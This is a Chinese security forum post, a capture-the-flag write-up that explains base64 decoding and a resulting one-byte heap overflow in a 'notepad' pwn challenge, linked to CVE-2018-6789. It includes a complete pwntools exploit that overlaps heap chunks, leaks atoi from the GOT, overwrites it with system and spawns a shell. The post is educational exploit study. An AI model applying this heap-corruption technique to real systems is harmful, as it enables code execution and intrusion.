吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3927|回复: 6
收起左侧

[漏洞分析] off-by-one

  [复制链接]
钞sir 发表于 2020-11-5 20:13

简介

off-by-one漏洞在堆分配时有比较大的威胁, 在pwn中利用比较常见, 这里介绍一个由base64解码造成的off-by-one漏洞, 这个漏洞在CVE-2018-6789当中是真实存在的, 这里以一个ctf中的pwn题目notepad来介绍一下利用过程;

前置知识

原理在分析程序之前先介绍一下Base64的编码和解码的原理;

Base64编码

Base64编码的原理是将二进制数据进行分组,每24Bit(即3字节)为一个大组,再把一个大组的数据分成46Bit的小分组;
因为6bit数据只能表示64个不同的字符(2^6=64),这64个字符分别对应ASCII码表中的'A'-'Z','a'-'z','0''9','+'和'/'; 这些字符的对应关系是由Base64字符集决定的;
因为小分组中的6Bit数据表示起来不符合计算机的操作习惯,所以要把每个小分组进行高位补零操作,这样的话每个小分组就构成了一个8Bit(1字节)的数据; 在补零操作完成后, 就是将小分组的内容作为Base64字符集的下标,然后一一替换成对应的ASCII字符, 编码工作就完成了;
但是这里面仍然有需要解决的细节问题:
  在编码之前我们无法保证需要编码的字符串长度是3的倍数,所以为了让编码能够顺利进行就必须在获取编码字符串的同时判断字符串的长度是否是3的倍数,如果是3的倍数编码就可以正常进行,如果不是3的倍数就要进行补零的操作,就是要在不足3的倍数的字符串末尾用\x00进行填充;
  这样虽然解决了字符串长度不足的问题了,但是同时也引进了另一个新的问题,那就是末尾补充上的\x00在进行Base64字符集替换的时候会与字符集中的'A'字符发生冲突; 因为字符集中的下标0对应的字符是'A',而末尾填充上的\x00在分组补零后同样是下标0,这样就无法分辨出到底是末尾填充的\x00还是二进制数据中的0x00; 所以为了解决这个问题我们就必须引入Base64字符集外的新字符来区分末尾补充上的\x00,这就是'='字符不在Base64字符集中,但是也出现在Base64编码的原因了,'='字符在一个Base64编码的末尾中最多会出现两个,如果不符合这以规则那么这个Base64就可能是错误的或被修改过;
Base64字符集

Base64解码

Base64解密的工作原理相对来说就比较简单了,只需要和加密操作方式相反即可;
  首先将Base64编码根据其对应的字符集转换成下标,这就是补完零后的8Bit(1字节)数据; 在编码操作有补零操作那自然解码操作时就会有去零操作了,我们将这些8Bit数据的最高位上的两个0抹去形成6Bit数据,这也就是前面我们编码操作中提到过的小分组; 最后将每46Bit数据进行合并形成24Bit的大分组,然后将这些大分组按照每组8Bit进行拆分就会得到3个8Bit的数据,此时的8Bit数据就是加密前的数据了, 解码工作好完成了;

题目分析

checksec

checksec
题目主要有4个功能:
notepad
主要用于添加, 显示, 修改和删除一个note, 所有数据的修改都是在基于堆的;

漏洞点

这个程序的漏洞主要在于密码的内存空间的分配上面, 程序是将我们输入的password进行base64解码后存在堆中的:
Passwd
passwd
这里面的v2就是我们输入的password的长度, base64解码的逻辑是把4个字节当做一组,4个字节解码成3个字节, 所以这里如果我们传入的密文长度为4n + 3字节, 则函数会将最后三个字节解码为两个字节, 最终明文长度为3n+2个字节, 但是分配的堆空间的大小为3n+1个字节, 所以这里就会发生off-by-one了;
取个例子:
比如我们设置密码为MTIz时, 解密出来在内存中是0x0000000000333231, 即字符串123, 此时密码长度为4:
123
当我们重新设置密码为MTIzMTI时, 即在MTIz后面加了3个字节,符合4n+1的公式, 此时密码解密出是0x0000003231333231, 即字符串12312
12312
但是这里没有发生溢出的原因是因为堆在分配内存的时候后有一个内存空间补齐的操作, 只要我们构造合适长度的password就可以造成溢出了;
这个密码可以使用:

pay = base64.b64encode(b"a"*0x88+b"\xc1")[:-1] + b"\x00"

其中\xc1就是溢出的那个字节;

利用思路

off-by-one的总体利用思路其实就是利用堆A的溢出, 修改下一个堆Bsize位, 将堆B的大小变大, 从而包含堆'B'的后面一个或多个堆, 然后free掉堆B, 在申请一个大小合适的堆, 结合程序的具体功能我们就可以修改堆中的指针了;
而本程序就是包含堆之后去修改passwordcontent的指针, 从而泄露出got表中atoi函数的内容, 计算出system函数地址并修改, 控制程序流程;
首先分配5个堆, 然后free第2,和第1个:

addnote("1"*0x10, passwd, 0x10, "a"*8)     # 1 
addnote("2"*0x10, passwd, 0x100, "a"*8)    # 2 
addnote("3"*0x10, passwd, 0x10, "a"*8)     # 3 
addnote("4"*0x10, passwd, 0x10, "a"*8)     # 4 
addnote("5"*0x10, passwd, 0x10, "a"*8)     # 5 

delnote("2"*0x10, passwd)
delnote("1"*0x10, passwd)

此时内存堆分布如下:
1
注意红框的部分, 接下来我们要从这个堆里面分一部分出来存放password, 然后利用off-by-one溢出覆盖下个堆的size;

delnote("2"*0x10, passwd)
delnote("1"*0x10, passwd)

pay = base64.b64encode(b"a"*0x88+b"\xc1")[:-1] + b"\x00"
addnote("2"*0x10, pay, 0x10, "q"*8)    # 2

通过下面这个两个图可以看出如果没有off-by-one的内存分布:
未溢出时:
0
可以看出未分配的堆大小为0x80;
溢出后:
2
可以看到我们把未分配的堆大小修改为0xc0了, 也就是说我们把下面的已经分配的堆也分配进去了, 所以下一次我们申请堆的时候可以把已经分配的堆的也包含进去, 从而可以修改指针了;

EXP

from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
name = "./notepad"
p = process(name)
elf = ELF(name)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if args.G:
    gdb.attach(p)

def addnote(name, passwd, size, data):
    p.recvuntil("choice> ")
    p.sendline("1")
    p.recvuntil("name> ")
    p.send(name)
    p.recvuntil("1:yes, 0:no)> ")
    p.sendline("1")
    p.recvuntil("password> ")
    p.sendline(str(passwd, encoding="utf-8"))
    p.recvuntil("content size> ")
    p.sendline(str(size))
    p.recvuntil("content> ")
    p.sendline(data)

def shownote(name, passwd):
    p.recvuntil("choice> ")
    p.sendline("2")
    p.recvuntil("name> ")
    p.send(name)
    p.recvuntil("password> ")
    p.sendline(str(passwd, encoding="utf8"))

def editnote(name, passwd, newpasswd, size, data):
    p.recvuntil("choice> ")
    p.sendline("3")
    p.recvuntil("name> ")
    p.send(name)
    p.recvuntil("password> ")
    p.sendline(str(passwd, encoding="utf8"))
    p.recvuntil("1:yes, 0:no)> ")
    p.sendline("0")
    # p.recvuntil("password> ")
    # p.sendline(str(newpasswd, encoding="utf8"))
    p.recvuntil("content size> ")
    p.sendline(str(size))
    p.recvuntil("content> ")
    p.send(data)

def delnote(name, passwd):
    p.recvuntil("choice> ")
    p.sendline("4")
    p.recvuntil("name> ")
    p.send(name)
    p.recvuntil("password> ")
    p.sendline(str(passwd, encoding="utf8"))

passwd = base64.b64encode(b"sir")
newpasswd = base64.b64encode(b"cc-sir")
addnote("1"*0x10, passwd, 0x10, "a"*8)     # 1 
addnote("2"*0x10, passwd, 0x100, "a"*8)    # 2 
addnote("3"*0x10, passwd, 0x10, "a"*8)     # 3 
addnote("4"*0x10, passwd, 0x10, "a"*8)     # 4 
addnote("5"*0x10, passwd, 0x10, "a"*8)     # 5 

delnote("2"*0x10, passwd)   # delete 2
delnote("1"*0x10, passwd)   # delete 1
pay = base64.b64encode(b"a"*0x88+b"\xc1")[:-1] + b"\x00"
addnote("2"*0x10, pay, 0x100, "q"*8)    # off-by-one   修改堆的大小
payload = b"s"*0x78 + p64(0x31) + b"c"*0x10 + p64(0x401981) + p64(0x602090)
addnote("6"*0x10, passwd, 0xb0, payload)    # 6 包含后面的堆

shownote("c"*0x10, base64.b64encode(b"choice> "))
atoi_addr = u64(p.recv(6) + b"\x00\x00")
system_addr = atoi_addr + 0xb200
print("atoi_addr: " + hex(atoi_addr))
print("system_addr: " + hex(system_addr))

editnote("c"*0x10, base64.b64encode(b"choice> "), newpasswd, 8, p64(system_addr))
p.recvuntil("choice> ")
p.sendline("/bin/sh\x00")
p.interactive()

运行结果:
pwn

免费评分

参与人数 5威望 +1 吾爱币 +24 热心值 +4 收起 理由
tocabd + 1 + 1 用心讨论,共获提升!
没事路过 + 1 + 1 谢谢@Thanks!
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
www.52pojie.cn + 1 + 1 牛🐮
lucid + 1 我很赞同!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

gcode 发表于 2020-11-5 20:28
太强了, 学习了
bluerabbit 发表于 2020-11-5 20:42
nj001 发表于 2020-11-5 22:40
刀大喵 发表于 2020-11-6 15:48
这就是我学不好逆向的原因 头大
hysh 发表于 2020-11-9 08:01
认真学习讨论,用心提升
yhtg 发表于 2020-11-9 09:54
仰望大佬,真厉害
lifz888 发表于 2020-11-10 09:24
非常好的 学习资料,支持分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-21 20:05

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表